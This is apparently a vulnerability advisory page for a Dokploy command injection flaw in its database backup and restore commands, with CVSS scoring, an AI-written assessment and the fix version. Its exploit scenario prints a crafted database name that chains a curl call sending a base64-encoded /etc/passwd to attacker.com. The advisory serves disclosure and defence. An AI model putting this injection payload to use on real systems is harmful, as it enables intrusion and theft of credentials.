Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network vector via web management interface; PR:H because database configuration access requires administrator role; scope changes to database containers where full C/I/A impact occurs.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, database backup and restore command builders in packages/server/src/utils/backups/utils.ts and packages/server/src/utils/restore/utils.ts interpolate database names, usernames, and passwords into nested shell command strings passed to child_process.exec(). An authenticated administrator with permission to create databases and configure backups can use crafted database configuration fields to execute arbitrary commands inside PostgreSQL, MariaDB, MySQL, MongoDB, or LibSQL containers, exposing database data and credentials and potentially enabling escape when a container is overprivileged. This issue is fixed in version 0.29.13.
AnalysisAI
Command injection in Dokploy's database backup and restore utilities (prior to v0.29.13) lets an authenticated administrator execute arbitrary shell commands inside managed database containers by supplying crafted values in database name, username, or password configuration fields. All supported database types are affected - PostgreSQL, MariaDB, MySQL, MongoDB, and LibSQL - with subsequent-system impact rated High across confidentiality, integrity, and availability, reflecting that injected commands run inside the database containers rather than Dokploy itself. …
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Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an authenticated Dokploy administrator account with explicit permission to create databases and configure backup jobs - this is a high-privilege role distinct from standard users. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:H/SI:H/SA:H, score 6.4) accurately captures the dual-layer risk: the PR:H requirement constrains exploitation to Dokploy administrators, while SC:H/SI:H/SA:H reflects that successful injection achieves full code execution inside database containers, compromising all managed credentials and data. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated Dokploy administrator creates a PostgreSQL database configuration with a crafted database name such as `mydb; curl http://attacker.com/$(cat /etc/passwd | base64) #`, which is interpolated unsanitized into the backup shell command string. When the scheduled or manually triggered backup job runs, the injected command executes inside the PostgreSQL container, exfiltrating credential material to an attacker-controlled host. … |
| Remediation | Upgrade Dokploy to version 0.29.13 or later - this is the vendor-confirmed patched release available at https://github.com/Dokploy/dokploy/releases/tag/v0.29.13 (fix commit ccd2e83c57d99f725220d37e0152270e0827d71b, PR #4862). … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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EUVD-2026-55789